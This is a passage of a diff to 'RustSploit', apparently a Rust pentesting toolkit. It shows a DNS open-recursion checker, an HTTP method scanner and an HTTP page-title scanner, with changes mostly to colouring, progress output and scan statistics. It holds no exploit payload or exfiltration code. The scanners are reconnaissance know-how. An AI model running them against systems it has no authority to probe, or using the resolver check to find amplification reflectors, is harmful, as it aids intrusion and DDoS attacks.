let is_vulnerable = report_result(&message, display_target, record_type);
|
||||
|
||||
if is_vulnerable {
|
||||
*vulnerable_count += 1;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn report_result(message: &Message, display_target: &str, record_type: RecordType) -> bool {
|
||||
let recursion_available = message.recursion_available();
|
||||
let recursion_desired = message.recursion_desired();
|
||||
let authoritative = message.authoritative();
|
||||
let truncated = message.truncated();
|
||||
let rcode = message.response_code();
|
||||
|
||||
println!();
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Response code: {:?} | Answers: {} | Authority: {} | Additional: {}",
|
||||
rcode,
|
||||
message.answers().len(),
|
||||
message.name_servers().len(),
|
||||
message.additionals().len()
|
||||
).dimmed()
|
||||
);
|
||||
|
||||
if truncated {
|
||||
println!("{}", "[!] Response was truncated (TC flag set).".yellow());
|
||||
}
|
||||
|
||||
println!(
|
||||
"{}",
|
||||
format!("[*] Flags: RD={} RA={} AA={}", recursion_desired, recursion_available, authoritative).dimmed()
|
||||
);
|
||||
|
||||
if recursion_available && rcode != ResponseCode::Refused {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[+] {} appears to allow recursion (RA flag set) for {} {} queries.",
|
||||
display_target,
|
||||
record_type,
|
||||
if authoritative { "(authoritative data returned)" } else { "" }
|
||||
)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
" This resolver may be abused for reflection/amplification attacks (ANY/DNSSEC)."
|
||||
.yellow()
|
||||
);
|
||||
true
|
||||
} else if recursion_available && rcode == ResponseCode::Refused {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[-] {} reports recursion available but refused the request (likely ACL protected).",
|
||||
display_target
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
false
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[-] {} does not appear to allow recursion (RA flag unset or query refused).",
|
||||
display_target
|
||||
)
|
||||
.dimmed()
|
||||
);
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_record_type(input: &str) -> Result<RecordType> {
|
||||
match input.trim().to_uppercase().as_str() {
|
||||
"A" => Ok(RecordType::A),
|
||||
"AAAA" => Ok(RecordType::AAAA),
|
||||
"ANY" => Ok(RecordType::ANY),
|
||||
"DNSKEY" => Ok(RecordType::DNSKEY),
|
||||
"TXT" => Ok(RecordType::TXT),
|
||||
"MX" => Ok(RecordType::MX),
|
||||
other => Err(anyhow!("Unsupported record type '{}'", other)),
|
||||
}
|
||||
}
|
||||
|
||||
async fn resolve_target(host: &str, port: u16) -> Result<(SocketAddr, String)> {
|
||||
if let Ok(ip) = host.parse::<IpAddr>() {
|
||||
let addr = SocketAddr::new(ip, port);
|
||||
return Ok((addr, format_endpoint(host, port)));
|
||||
}
|
||||
|
||||
let mut addrs_iter = (host, port)
|
||||
.to_socket_addrs()
|
||||
.with_context(|| format!("Unable to resolve '{}:{}'", host, port))?;
|
||||
let addr = addrs_iter
|
||||
.next()
|
||||
.ok_or_else(|| anyhow!("No socket addresses resolved for '{}:{}'", host, port))?;
|
||||
Ok((addr, addr.to_string()))
|
||||
}
|
||||
|
||||
fn random_test_domain() -> String {
|
||||
let mut rng = rand::rng();
|
||||
let random_label: String = (0..12)
|
||||
.map(|_| {
|
||||
let n = rng.random_range(0..36);
|
||||
if n < 10 {
|
||||
(b'0' + n) as char
|
||||
} else {
|
||||
(b'a' + (n - 10)) as char
|
||||
}
|
||||
})
|
||||
.collect();
|
||||
format!("{}.rustsploit.test", random_label)
|
||||
}
|
||||
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
io::stdout().flush()?;
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf)?;
|
||||
let trimmed = buf.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else if trimmed.len() > 255 {
|
||||
Err(anyhow!("Input too long"))
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_port(message: &str, default: u16) -> Result<u16> {
|
||||
loop {
|
||||
let prompt = format!("{} [{}]: ", message, default);
|
||||
print!("{}", prompt);
|
||||
io::stdout().flush()?;
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf)?;
|
||||
let trimmed = buf.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Ok(default);
|
||||
}
|
||||
if let Ok(value) = trimmed.parse::<u16>() {
|
||||
if value > 0 {
|
||||
return Ok(value);
|
||||
}
|
||||
}
|
||||
println!("Please provide a valid port between 1 and 65535.");
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_line(message: &str) -> Result<String> {
|
||||
print!("{}", message);
|
||||
io::stdout().flush()?;
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf)?;
|
||||
let trimmed = buf.trim();
|
||||
if trimmed.len() > 255 {
|
||||
return Err(anyhow!("Input too long (max 255 characters)."));
|
||||
}
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
|
||||
let hint = if default_yes { "Y/n" } else { "y/N" };
|
||||
loop {
|
||||
let prompt = format!("{} [{}]: ", message, hint);
|
||||
print!("{}", prompt);
|
||||
io::stdout().flush()?;
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf)?;
|
||||
let trimmed = buf.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => return Ok(default_yes),
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
"stop" => return Ok(false),
|
||||
_ => println!("{}", "Please answer with 'y' or 'n'.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn collect_targets(initial: &str) -> Result<Vec<TargetSpec>> {
|
||||
let mut targets = Vec::new();
|
||||
let mut seen: HashSet<String> = HashSet::new();
|
||||
|
||||
let trimmed_initial = initial.trim();
|
||||
if !trimmed_initial.is_empty() {
|
||||
let added = parse_targets_from_str(trimmed_initial, "cli", &mut seen, &mut targets);
|
||||
if added == 0 && Path::new(trimmed_initial).is_file() {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[*] Loading targets from file '{}'", trimmed_initial).cyan()
|
||||
);
|
||||
match parse_targets_from_file(trimmed_initial, &mut seen, &mut targets) {
|
||||
Ok(count) => {
|
||||
if count == 0 {
|
||||
println!("{}", " No valid targets found in file.".yellow());
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
" Loaded {} target(s) from '{}'",
|
||||
count, trimmed_initial
|
||||
)
|
||||
.green()
|
||||
);
|
||||
}
|
||||
}
|
||||
Err(err) => {
|
||||
eprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
" Failed to read '{}': {}",
|
||||
trimmed_initial, err
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if prompt_yes_no(
|
||||
"Add additional targets manually? (type 'stop' to finish)",
|
||||
targets.is_empty(),
|
||||
)? {
|
||||
loop {
|
||||
let entry = prompt_line("Target (IP/host[:port], 'stop' to finish): ")?;
|
||||
if entry.is_empty() {
|
||||
continue;
|
||||
}
|
||||
if entry.eq_ignore_ascii_case("stop") {
|
||||
break;
|
||||
}
|
||||
add_target_token(&entry, "interactive", &mut seen, &mut targets);
|
||||
}
|
||||
}
|
||||
|
||||
if prompt_yes_no("Load targets from file?", false)? {
|
||||
loop {
|
||||
let path_input = prompt_line("Path to file ('stop' to finish): ")?;
|
||||
if path_input.is_empty() {
|
||||
continue;
|
||||
}
|
||||
if path_input.eq_ignore_ascii_case("stop") {
|
||||
break;
|
||||
}
|
||||
match parse_targets_from_file(&path_input, &mut seen, &mut targets) {
|
||||
Ok(count) => {
|
||||
if count == 0 {
|
||||
println!(
|
||||
"{}",
|
||||
format!(" No valid targets parsed from '{}'", path_input).yellow()
|
||||
);
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
" Loaded {} target(s) from '{}'",
|
||||
count, path_input
|
||||
)
|
||||
.green()
|
||||
);
|
||||
}
|
||||
}
|
||||
Err(err) => eprintln!(
|
||||
"{}",
|
||||
format!(" Failed to read '{}': {}", path_input, err).red()
|
||||
),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(targets)
|
||||
}
|
||||
|
||||
fn parse_targets_from_str(
|
||||
input: &str,
|
||||
context: &str,
|
||||
seen: &mut HashSet<String>,
|
||||
targets: &mut Vec<TargetSpec>,
|
||||
) -> usize {
|
||||
let mut added = 0usize;
|
||||
for token in input
|
||||
.split(|c: char| c == ',' || c.is_ascii_whitespace())
|
||||
.filter_map(|segment| {
|
||||
let trimmed = segment.trim();
|
||||
if trimmed.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(trimmed)
|
||||
}
|
||||
})
|
||||
{
|
||||
if add_target_token(token, context, seen, targets) {
|
||||
added += 1;
|
||||
}
|
||||
}
|
||||
added
|
||||
}
|
||||
|
||||
fn parse_targets_from_file(
|
||||
path: &str,
|
||||
seen: &mut HashSet<String>,
|
||||
targets: &mut Vec<TargetSpec>,
|
||||
) -> Result<usize> {
|
||||
let file = File::open(path)
|
||||
.with_context(|| format!("Failed to open target file '{}'", path))?;
|
||||
let reader = BufReader::new(file);
|
||||
let mut added = 0usize;
|
||||
|
||||
for (idx, line) in reader.lines().enumerate() {
|
||||
let line = line?;
|
||||
let content = line.split('#').next().unwrap_or("").trim();
|
||||
if content.is_empty() {
|
||||
continue;
|
||||
}
|
||||
let ctx = format!("file:{}:{}", path, idx + 1);
|
||||
added += parse_targets_from_str(content, &ctx, seen, targets);
|
||||
}
|
||||
|
||||
Ok(added)
|
||||
}
|
||||
|
||||
fn add_target_token(
|
||||
token: &str,
|
||||
context: &str,
|
||||
seen: &mut HashSet<String>,
|
||||
targets: &mut Vec<TargetSpec>,
|
||||
) -> bool {
|
||||
if token.eq_ignore_ascii_case("stop") {
|
||||
return false;
|
||||
}
|
||||
|
||||
match parse_target_spec(token) {
|
||||
Ok(spec) => {
|
||||
let key = format!("{}:{}", spec.host, spec.port.unwrap_or(0));
|
||||
if seen.insert(key) {
|
||||
println!(
|
||||
"{}",
|
||||
format!(" [{}] Added target {}", context, spec.input).cyan()
|
||||
);
|
||||
targets.push(spec);
|
||||
true
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!(" [{}] Duplicate target '{}' skipped", context, token).dimmed()
|
||||
);
|
||||
false
|
||||
}
|
||||
}
|
||||
Err(err) => {
|
||||
eprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
" [{}] Skipping invalid target '{}': {}",
|
||||
context, token, err
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
false
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_target_spec(token: &str) -> Result<TargetSpec> {
|
||||
let sanitized = sanitize_target_input(token)?;
|
||||
let (host, port) = split_host_port(&sanitized)?;
|
||||
Ok(TargetSpec {
|
||||
input: sanitized.clone(),
|
||||
host: host.to_lowercase(),
|
||||
port,
|
||||
})
|
||||
}
|
||||
|
||||
fn sanitize_target_input(input: &str) -> Result<String> {
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Target cannot be empty"));
|
||||
}
|
||||
if trimmed.len() > 255 {
|
||||
return Err(anyhow!(
|
||||
"Target '{}' is too long (maximum 255 characters)",
|
||||
trimmed
|
||||
));
|
||||
}
|
||||
if !trimmed
|
||||
.chars()
|
||||
.all(|c| c.is_ascii_alphanumeric() || ".-_:[]".contains(c))
|
||||
{
|
||||
return Err(anyhow!(
|
||||
"Target '{}' contains invalid characters. Allowed: A-Z, 0-9, '.', '-', '_', ':', '[', ']'",
|
||||
trimmed
|
||||
));
|
||||
}
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
|
||||
fn split_host_port(value: &str) -> Result<(String, Option<u16>)> {
|
||||
if value.is_empty() {
|
||||
return Err(anyhow!("Target cannot be empty"));
|
||||
}
|
||||
|
||||
if let Ok(addr) = value.parse::<SocketAddr>() {
|
||||
return Ok((addr.ip().to_string(), Some(addr.port())));
|
||||
}
|
||||
|
||||
if value.starts_with('[') {
|
||||
let end = value
|
||||
.find(']')
|
||||
.ok_or_else(|| anyhow!("Malformed IPv6 target '{}': missing ']'", value))?;
|
||||
let host = value[1..end].to_string();
|
||||
if value.len() == end + 1 {
|
||||
return Ok((host, None));
|
||||
}
|
||||
if !value[end + 1..].starts_with(':') {
|
||||
return Err(anyhow!(
|
||||
"Malformed IPv6 target '{}': expected ':' after ']'",
|
||||
value
|
||||
));
|
||||
}
|
||||
let port_part = &value[end + 2..];
|
||||
if port_part.is_empty() {
|
||||
return Err(anyhow!("Missing port after IPv6 address in '{}'", value));
|
||||
}
|
||||
let port = port_part
|
||||
.parse::<u16>()
|
||||
.with_context(|| format!("Invalid port '{}' in target '{}'", port_part, value))?;
|
||||
if port == 0 {
|
||||
return Err(anyhow!("Port must be between 1 and 65535"));
|
||||
}
|
||||
return Ok((host, Some(port)));
|
||||
}
|
||||
|
||||
if value.ends_with(':') {
|
||||
return Err(anyhow!(
|
||||
"Invalid target '{}': trailing ':' without port",
|
||||
value
|
||||
));
|
||||
}
|
||||
|
||||
let colon_count = value.matches(':').count();
|
||||
if colon_count == 1 {
|
||||
let idx = value.rfind(':').unwrap();
|
||||
let host_part = &value[..idx];
|
||||
let port_part = &value[idx + 1..];
|
||||
if host_part.is_empty() {
|
||||
return Err(anyhow!("Host cannot be empty in target '{}'", value));
|
||||
}
|
||||
if !port_part.chars().all(|c| c.is_ascii_digit()) {
|
||||
return Err(anyhow!(
|
||||
"Invalid port '{}' in target '{}'",
|
||||
port_part,
|
||||
value
|
||||
));
|
||||
}
|
||||
let port = port_part
|
||||
.parse::<u16>()
|
||||
.with_context(|| format!("Invalid port '{}' in target '{}'", port_part, value))?;
|
||||
if port == 0 {
|
||||
return Err(anyhow!("Port must be between 1 and 65535"));
|
||||
}
|
||||
return Ok((host_part.to_string(), Some(port)));
|
||||
}
|
||||
|
||||
if colon_count >= 2 {
|
||||
let ip = value.parse::<IpAddr>().with_context(|| {
|
||||
format!(
|
||||
"Invalid IPv6 address '{}' (use [addr]:port for scoped ports)",
|
||||
value
|
||||
)
|
||||
})?;
|
||||
return Ok((ip.to_string(), None));
|
||||
}
|
||||
|
||||
Ok((value.to_string(), None))
|
||||
}
|
||||
|
||||
fn format_endpoint(host: &str, port: u16) -> String {
|
||||
match host.parse::<IpAddr>() {
|
||||
Ok(IpAddr::V6(_)) => format!("[{}]:{}", host, port),
|
||||
_ => format!("{}:{}", host, port),
|
||||
}
|
||||
}
|
||||
|
||||
fn validate_domain_input(input: &str) -> Result<String> {
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Domain cannot be empty"));
|
||||
}
|
||||
if trimmed.len() > 253 {
|
||||
return Err(anyhow!(
|
||||
"Domain '{}' is too long (maximum 253 characters)",
|
||||
trimmed
|
||||
));
|
||||
}
|
||||
let without_dot = trimmed.trim_end_matches('.');
|
||||
if without_dot.is_empty() {
|
||||
return Err(anyhow!("Domain cannot be empty"));
|
||||
}
|
||||
if without_dot
|
||||
.chars()
|
||||
.any(|c| !(c.is_ascii_alphanumeric() || c == '.' || c == '-' || c == '_'))
|
||||
{
|
||||
return Err(anyhow!(
|
||||
"Domain '{}' contains invalid characters. Allowed: A-Z, 0-9, '-', '_', '.'",
|
||||
trimmed
|
||||
));
|
||||
}
|
||||
Ok(without_dot.to_lowercase())
|
||||
}
|
||||
@@ -1,21 +1,22 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use chrono::Utc;
|
||||
use colored::*;
|
||||
use reqwest::{Client, Method, StatusCode, Url};
|
||||
use std::collections::HashSet;
|
||||
use std::fs;
|
||||
use std::io::{self, Write};
|
||||
use std::time::Duration;
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
const METHODS: &[&str] = &[
|
||||
"GET",
|
||||
"POST",
|
||||
"HEAD",
|
||||
"OPTIONS",
|
||||
"PUT",
|
||||
"DELETE",
|
||||
"PATCH",
|
||||
"TRACE",
|
||||
"CONNECT",
|
||||
"POST",
|
||||
"HEAD",
|
||||
"OPTIONS",
|
||||
"PUT",
|
||||
"DELETE",
|
||||
"PATCH",
|
||||
"TRACE",
|
||||
"CONNECT",
|
||||
];
|
||||
|
||||
struct MethodResult {
|
||||
@@ -55,7 +56,7 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
|
||||
let use_ports = prompt_bool(
|
||||
"Test via specific ports (port tunneling)? (yes/no, default no): ",
|
||||
false,
|
||||
false,
|
||||
)?;
|
||||
let ports = if use_ports {
|
||||
prompt_ports()?
|
||||
@@ -65,10 +66,10 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
|
||||
let timeout_input = prompt("Request timeout in seconds (default 10): ")?;
|
||||
let timeout_secs: u64 = timeout_input
|
||||
.parse()
|
||||
.ok()
|
||||
.filter(|val| *val > 0)
|
||||
.unwrap_or(10);
|
||||
.parse()
|
||||
.ok()
|
||||
.filter(|val| *val > 0)
|
||||
.unwrap_or(10);
|
||||
|
||||
let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?;
|
||||
let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?;
|
||||
@@ -88,16 +89,22 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
normalized.sort();
|
||||
|
||||
let client = Client::builder()
|
||||
.user_agent("RustSploit-HTTP-Method-Scanner/1.0")
|
||||
.timeout(Duration::from_secs(timeout_secs))
|
||||
.redirect(reqwest::redirect::Policy::limited(5))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
.user_agent("RustSploit-HTTP-Method-Scanner/1.0")
|
||||
.timeout(Duration::from_secs(timeout_secs))
|
||||
.redirect(reqwest::redirect::Policy::limited(5))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let mut all_results = Vec::new();
|
||||
let mut total_success = 0usize;
|
||||
let mut total_errors = 0usize;
|
||||
let start_time = Instant::now();
|
||||
|
||||
println!("{}", format!("[*] Scanning {} target(s) with {} methods each...",
|
||||
normalized.len(), METHODS.len()).cyan().bold());
|
||||
|
||||
for target in &normalized {
|
||||
println!("\n=== Target: {} ===", target);
|
||||
println!("\n{}", format!("=== Target: {} ===", target).bold());
|
||||
let mut method_results = Vec::new();
|
||||
|
||||
for &method_name in METHODS {
|
||||
@@ -110,10 +117,10 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
let start = std::time::Instant::now();
|
||||
let response = if let Some(ref payload) = body {
|
||||
client
|
||||
.request(method.clone(), target)
|
||||
.body(payload.clone())
|
||||
.send()
|
||||
.await
|
||||
.request(method.clone(), target)
|
||||
.body(payload.clone())
|
||||
.send()
|
||||
.await
|
||||
} else {
|
||||
client.request(method.clone(), target).send().await
|
||||
};
|
||||
@@ -123,16 +130,19 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
Ok(resp) => {
|
||||
let status = resp.status();
|
||||
let ok = status.is_success();
|
||||
if verbose {
|
||||
println!(
|
||||
" [{}] {} -> {} ({:.2?})",
|
||||
method_name,
|
||||
target,
|
||||
status,
|
||||
elapsed
|
||||
);
|
||||
if ok {
|
||||
total_success += 1;
|
||||
if verbose {
|
||||
println!("{}", format!(" [{}] {} -> {} ({:.2?})", method_name, target, status, elapsed).green());
|
||||
} else {
|
||||
println!("{}", format!(" [{}] {}", method_name, status).green());
|
||||
}
|
||||
} else {
|
||||
println!(" [{}] {}", method_name, status);
|
||||
if verbose {
|
||||
println!("{}", format!(" [{}] {} -> {} ({:.2?})", method_name, target, status, elapsed).yellow());
|
||||
} else {
|
||||
println!("{}", format!(" [{}] {}", method_name, status).yellow());
|
||||
}
|
||||
}
|
||||
method_results.push(MethodResult {
|
||||
method: method_name,
|
||||
@@ -143,16 +153,11 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
});
|
||||
}
|
||||
Err(err) => {
|
||||
total_errors += 1;
|
||||
if verbose {
|
||||
println!(
|
||||
" [{}] {} -> error: {} ({:.2?})",
|
||||
method_name,
|
||||
target,
|
||||
err,
|
||||
elapsed
|
||||
);
|
||||
println!("{}", format!(" [{}] {} -> error: {} ({:.2?})", method_name, target, err, elapsed).red());
|
||||
} else {
|
||||
println!(" [{}] error: {}", method_name, err);
|
||||
println!("{}", format!(" [{}] error: {}", method_name, err).red());
|
||||
}
|
||||
method_results.push(MethodResult {
|
||||
method: method_name,
|
||||
@@ -171,6 +176,22 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
});
|
||||
}
|
||||
|
||||
let total_elapsed = start_time.elapsed();
|
||||
let total_requests = normalized.len() * METHODS.len();
|
||||
|
||||
// Print statistics
|
||||
println!();
|
||||
println!("{}", "=== Scan Statistics ===".bold());
|
||||
println!(" Targets: {}", normalized.len());
|
||||
println!(" Methods tested: {}", METHODS.len());
|
||||
println!(" Total requests: {}", total_requests);
|
||||
println!(" Successful: {}", total_success.to_string().green());
|
||||
println!(" Errors: {}", total_errors.to_string().red());
|
||||
println!(" Duration: {:.2}s", total_elapsed.as_secs_f64());
|
||||
if total_elapsed.as_secs() > 0 {
|
||||
println!(" Rate: {:.1} requests/s", total_requests as f64 / total_elapsed.as_secs_f64());
|
||||
}
|
||||
|
||||
if save_output {
|
||||
let default_name = format!(
|
||||
"http_method_scan_{}.txt",
|
||||
@@ -178,7 +199,7 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
);
|
||||
let output_path = prompt_with_default(
|
||||
"Enter output file path (press Enter for default): ",
|
||||
&default_name,
|
||||
&default_name,
|
||||
)?;
|
||||
write_report(&output_path, &all_results)?;
|
||||
println!("[*] Results saved to {}", output_path);
|
||||
@@ -189,15 +210,11 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
}
|
||||
|
||||
fn banner() {
|
||||
println!(
|
||||
"{}",
|
||||
r#"
|
||||
╔══════════════════════════════════════════════════════╗
|
||||
║ HTTP METHOD CAPABILITY SCANNER ║
|
||||
║ Checks support for common verbs ║
|
||||
╚══════════════════════════════════════════════════════╝
|
||||
"#
|
||||
);
|
||||
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ HTTP Method Capability Scanner ║".cyan());
|
||||
println!("{}", "║ Checks support for common HTTP verbs (GET, POST, etc.) ║".cyan());
|
||||
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
fn collect_initial_targets(initial_target: &str) -> Vec<String> {
|
||||
@@ -211,15 +228,15 @@ fn collect_initial_targets(initial_target: &str) -> Vec<String> {
|
||||
|
||||
fn split_targets(input: &str) -> Vec<String> {
|
||||
input
|
||||
.split(|c| c == ',' || c == '\n' || c == ';')
|
||||
.map(|item| item.trim().trim_end_matches('/').to_string())
|
||||
.filter(|item| !item.is_empty())
|
||||
.collect()
|
||||
.split(|c| c == ',' || c == '\n' || c == ';')
|
||||
.map(|item| item.trim().trim_end_matches('/').to_string())
|
||||
.filter(|item| !item.is_empty())
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn load_targets_from_file(path: &str) -> Result<Vec<String>> {
|
||||
let data = fs::read_to_string(path)
|
||||
.with_context(|| format!("Failed to read target file: {}", path))?;
|
||||
.with_context(|| format!("Failed to read target file: {}", path))?;
|
||||
Ok(split_targets(&data))
|
||||
}
|
||||
|
||||
@@ -233,8 +250,8 @@ fn normalize_targets(targets: Vec<String>, default_scheme: &str) -> Vec<String>
|
||||
continue;
|
||||
}
|
||||
let formatted = if target.starts_with("http://")
|
||||
|| target.starts_with("https://")
|
||||
|| target.contains("://")
|
||||
|| target.starts_with("https://")
|
||||
|| target.contains("://")
|
||||
{
|
||||
target.to_string()
|
||||
} else {
|
||||
@@ -253,11 +270,10 @@ fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
|
||||
let mut seen = HashSet::new();
|
||||
|
||||
for target in targets {
|
||||
if let Ok(url) = Url::parse(target) {
|
||||
if let Ok(mut url) = Url::parse(target) {
|
||||
for port in ports {
|
||||
let mut candidate = url.clone();
|
||||
if candidate.set_port(Some(*port)).is_ok() {
|
||||
let final_url = candidate.to_string();
|
||||
if url.set_port(Some(*port)).is_ok() {
|
||||
let final_url = url.to_string();
|
||||
if seen.insert(final_url.clone()) {
|
||||
expanded.push(final_url);
|
||||
}
|
||||
@@ -281,14 +297,14 @@ fn prompt(message: &str) -> Result<String> {
|
||||
io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read user input")?;
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read user input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
|
||||
let default_text = if default { "yes" } else { "no" };
|
||||
let input = prompt(&format!("{}", message))?;
|
||||
let input = prompt(message)?;
|
||||
if input.is_empty() {
|
||||
return Ok(default);
|
||||
}
|
||||
@@ -358,20 +374,19 @@ fn write_report(path: &str, results: &[TargetResult]) -> Result<()> {
|
||||
" - {:<7} status: {:<5} success: {:<5} time: {} ms",
|
||||
method.method,
|
||||
status.as_u16(),
|
||||
method.ok,
|
||||
method.duration_ms
|
||||
method.ok,
|
||||
method.duration_ms
|
||||
));
|
||||
} else if let Some(ref error) = method.error {
|
||||
lines.push(format!(
|
||||
" - {:<7} error: {} time: {} ms",
|
||||
method.method,
|
||||
error,
|
||||
method.duration_ms
|
||||
method.method, error, method.duration_ms
|
||||
));
|
||||
}
|
||||
}
|
||||
lines.push(String::new());
|
||||
}
|
||||
|
||||
fs::write(path, lines.join("\n")).with_context(|| format!("Failed to write report to {}", path))
|
||||
fs::write(path, lines.join("\n"))
|
||||
.with_context(|| format!("Failed to write report to {}", path))
|
||||
}
|
||||
|
||||
@@ -1,11 +1,12 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use chrono::Utc;
|
||||
use colored::*;
|
||||
use regex::Regex;
|
||||
use reqwest::{Client, StatusCode, Url};
|
||||
use std::collections::HashSet;
|
||||
use std::fs;
|
||||
use std::io::{self, Write};
|
||||
use std::time::Duration;
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
banner();
|
||||
@@ -68,16 +69,36 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
|
||||
let title_re = Regex::new(r"(?is)<title\b[^>]*>(.*?)</title>")?;
|
||||
let mut all_results = Vec::new();
|
||||
let mut success_count = 0usize;
|
||||
let mut error_count = 0usize;
|
||||
let start_time = Instant::now();
|
||||
let total_targets = normalized.len();
|
||||
|
||||
println!("{}", format!("[*] Scanning {} target(s)...", total_targets).cyan().bold());
|
||||
println!();
|
||||
|
||||
for (idx, url) in normalized.iter().enumerate() {
|
||||
// Progress indicator
|
||||
if (idx + 1) % 10 == 0 || idx + 1 == total_targets {
|
||||
print!("\r{}", format!("[*] Progress: {}/{} ({:.0}%)",
|
||||
idx + 1, total_targets, ((idx + 1) as f64 / total_targets as f64) * 100.0).dimmed());
|
||||
io::stdout().flush().ok();
|
||||
}
|
||||
|
||||
for url in &normalized {
|
||||
match fetch_title(&client, url, &title_re).await {
|
||||
Ok(result) => {
|
||||
if let Some(title) = &result.title {
|
||||
println!("[+] {} -> {}" , url, title);
|
||||
println!("\r{}", format!("[+] {} -> {}", url, title).green());
|
||||
success_count += 1;
|
||||
} else if let Some(status) = result.status {
|
||||
println!("[+] {} -> <no title> (status: {})", url, status);
|
||||
if status.is_success() {
|
||||
println!("\r{}", format!("[+] {} -> <no title> (status: {})", url, status).green());
|
||||
success_count += 1;
|
||||
} else {
|
||||
println!("\r{}", format!("[~] {} -> <no title> (status: {})", url, status).yellow());
|
||||
}
|
||||
} else {
|
||||
println!("[+] {} -> <no title>", url);
|
||||
println!("\r{}", format!("[~] {} -> <no title>", url).yellow());
|
||||
}
|
||||
if verbose {
|
||||
if let Some(status) = result.status {
|
||||
@@ -88,7 +109,8 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
all_results.push(result);
|
||||
}
|
||||
Err(err) => {
|
||||
println!("[-] {} -> error: {}", url, err);
|
||||
println!("\r{}", format!("[-] {} -> error: {}", url, err).red());
|
||||
error_count += 1;
|
||||
all_results.push(TitleResult {
|
||||
url: url.clone(),
|
||||
status: None,
|
||||
@@ -100,6 +122,19 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
}
|
||||
}
|
||||
|
||||
let elapsed = start_time.elapsed();
|
||||
|
||||
// Print statistics
|
||||
println!();
|
||||
println!("{}", "=== Scan Statistics ===".bold());
|
||||
println!(" Total scanned: {}", total_targets);
|
||||
println!(" Successful: {}", success_count.to_string().green());
|
||||
println!(" Errors: {}", error_count.to_string().red());
|
||||
println!(" Duration: {:.2}s", elapsed.as_secs_f64());
|
||||
if elapsed.as_secs() > 0 {
|
||||
println!(" Rate: {:.1} requests/s", total_targets as f64 / elapsed.as_secs_f64());
|
||||
}
|
||||
|
||||
if save_output {
|
||||
let default_name = format!(
|
||||
"http_title_scan_{}.txt",
|
||||
@@ -361,13 +396,9 @@ fn write_report(path: &str, results: &[TitleResult]) -> Result<()> {
|
||||
}
|
||||
|
||||
fn banner() {
|
||||
println!(
|
||||
"{}",
|
